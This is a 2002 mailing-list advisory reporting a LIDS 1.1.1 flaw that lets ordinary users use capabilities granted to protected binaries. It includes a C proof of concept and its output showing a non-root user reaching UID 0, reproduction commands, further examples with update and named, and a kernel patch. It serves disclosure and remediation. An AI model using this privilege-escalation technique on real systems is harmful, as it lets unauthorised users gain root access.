There is a possibility to use a capability from LIDS protected binaries for arbitrary users. For example if some binary has the CAP_SETUID capability granted, a general user can execute this binary under a arbitrary user ( could be the root ).. . .
There is a possibility to use a capability from LIDS protected binaries for arbitrary users. For example if some binary has the CAP_SETUID capability granted, a general user can execute this binary under a arbitrary user ( could be the root ).
  Date: Tue, 09 Apr 2002 14:15:19 +0200 From: Jan Kurik  To: lids-user@lists.sourceforge.net Subject: [lids-user] Vulnerability in LIDS 1.1.1   We had sent "bug report" similar to this to LIDS authors Huagang Xie and  Philippe Biondi at 4. August but we still have no answer. So we have decided to post this into this mail list. If we have made some mistake, please tell us.  ========================================================================    We ( me and Radek Bohunsky  ) have found some strange behaviour when running LIDS protected system.  Versions: ---------    We have this behaviour verified on the combination of these:  LIDS: 1.1.1pre5 and 1.1.1 Kernel: 2.4.16 and 2.4.18  Short decription: -----------------    There is a possibility to use a capability from LIDS protected binaries for arbitrary users. For example if some binary has the CAP_SETUID capability granted, a general user can execute this binary under a arbitrary user ( could be the root ).  Consequencies: --------------    When the binary is protected by LIDS it works as suid binary owned by root, without the necessity of the "s" bit, for granted capabilities.  Example: --------  Here is the sample code which demonstrates this vulnerability:  file "a.c": ..............................................  #include  #include  #include  #include   int main(int argc, char * argv[]) {    printf("UID: %u\n", getuid());   printf("EUID: %u\n", geteuid());    if (setuid(0)) {     perror("setuid failed");   } else {     printf("setuid succeeded\n");   }    printf("UID: %u\n", getuid());   printf("EUID: %u\n", geteuid()); }  ..............................................    After the compilation we have the "/tmp/a" binary, and here are steps to exploit the LIDS (  run as the root user ):  lidsadm -S -- -LIDS lidsconf -A -o /tmp/a -j READONLY -i 0 lidsconf -A -s /tmp/a -o CAP_SETUID -j GRANT -i 0 lidsadm -S -- +RELOAD_CONF lidsadm -S -- +LIDS    And now we can "su" to an arbitrary non-root user and execute the "/tmp/a"  # su - kurik  > /tmp/a  UID: 504 EUID: 504 setuid succeeded UID: 0 EUID: 0  >   On std. UNIX-like system a non-root user hasn't the permission to successfully call the "setuid(x)" wihout the "s" bit. On a LIDS protected system he has when the binary has the "CAP_SETUID" capability granted by LIDS.  Another example: ----------------    When a system is protected by the LIDS, usually you need to allow the "CAP_SYS_ADMIN" capability for the "/sbin/update".  # lidsconf -L | grep "/sbin/update" /sbin/update     GRANT(domain):0  0000-0000         CAP_SYS_ADMIN #    On a system without the LIDS protection you have to be the "root" to execute the "/sbin/update" binary:  [kurik@sandokan ~]$ /sbin/update /sbin/update: not run as superuser, bdflush() and sync() called. [kurik@sandokan ~]$     On a system which is LIDS protected an arbitrary user can execute this:  [kurik@sandokan ~]$ /sbin/update [kurik@sandokan ~]$  And one more example: ---------------------    If you run the "bind" program, usually you don't want to run it as the user root. So on a LIDS protected system you have to grant to the "/usr/sbin/named" the "CAP_SETUID" and the "CAP_SETGID" capabilities.   When you do this, an arbitrary user could be able to execute "named" as another arbitrary user.  [kurik@sandokan ~]$ /usr/sbin/named -u root [kurik@sandokan ~]$ ps -ef | grep named root      467     1  0 Apr08 ?        00:00:00 named -u root root      469   467  0 Apr08 ?        00:00:00 named -u root root      470   469  0 Apr08 ?        00:00:00 named -u root root      471   469  0 Apr08 ?        00:00:00 named -u root root      472   469  0 Apr08 ?        00:00:00 named -u root [kurik@sandokan ~]$  Conclusion: -----------    When some binary has some capability given by LIDS, arbitrary user can use this capability without std. UNIX permissions.  Solution: ---------    We didn't explore the whole LIDS code but we think that the bug is in the "include/linux/sched.h" file in the "capable" function.  static inline int capable(int cap) { #if 1 /* ok now */ #ifdef CONFIG_LIDS          /* if this proceed has the capability or its effecive          * has or it is in the enviroment of lids switch off          * FIXME, the flag may be combined with cap_effective*/          if ( (cap_raised(current->lids_cap,cap) && !lids_cap_time_checker(cap))              || (cap_raised( (current->cap_effective & cap_bset), cap))              || ( ((current->uid==0) && (current->euid==0) && (current->fsuid==0))                   && (!(lids_load && lids_local_load))                 )            ) #else ...    The problem is in the first line of the condition:  if ( (cap_raised(current->lids_cap,cap) && !lids_cap_time_checker(cap))    As we can see, there is no "cap_effective" check so not only "root" is allowed to use capabilities. So LIDS permissions are sufficient to use a capability.    We have a patch to this but it only adds the std. kernel check before the LIDS capability check. It is better to implement this check into the LIDS check condition but we don't want to break something in LIDS. So it is work for the LIDS authors. The patch is for the kernel version 2.4.16 and LIDS version 1.1.1.  --- linux/include/linux/sched.h Tue Apr  9 08:07:27 2002 +++ linux.icz/include/linux/sched.h     Tue Apr  9 09:14:33 2002 @@ -774,7 +774,8 @@   static inline int capable(int cap)  { -#if 1 /* ok now */ +       if (cap_raised(current->cap_effective, cap)) +       {  #ifdef CONFIG_LIDS           /* if this proceed has the capability or its effecive @@ -787,15 +788,13 @@                   && (!(lids_load && lids_local_load))                 )            ) -#else -       if (cap_raised(current->cap_effective, cap)) -#endif -#else -       if (cap_is_fs_cap(cap) ? current->fsuid == 0 : current->euid == 0) -#endif         { +#endif                 current->flags |= PF_SUPERPRIV;                 return 1; +#ifdef CONFIG_LIDS +       } +#endif         }  #ifdef CONFIG_LIDS         /* FIXME, add more detail for auditing */ @@ -809,14 +808,18 @@  /* The same as capable() but without logging anything */  static inline int capable2(int cap)  { +       if (cap_raised(current->cap_effective, cap)) +       {          if ( (cap_raised(current->lids_cap,cap) && !lids_cap_time_checker(cap)) -            || (cap_raised((current->cap_effective & cap_bset), cap)) +            || (cap_raised( (current->cap_effective & cap_bset), cap))              || ( ((current->uid==0) && (current->euid==0) && (current->fsuid==0))                   && (!(lids_load && lids_local_load))                 ) -          ) { +          ) +       {                 current->flags |= PF_SUPERPRIV;                 return 1; +       }         }         return 0;  }   -- Jan Kurik ICZ a.s. Branch Brno Hnevkovskeho 68, 635 00 Brno, CZ Tel.: +42  (05) 432 160 40 Fax : +42 (05) 432 160 39 jan.kurik@i.cz https://www.iczgroup.com/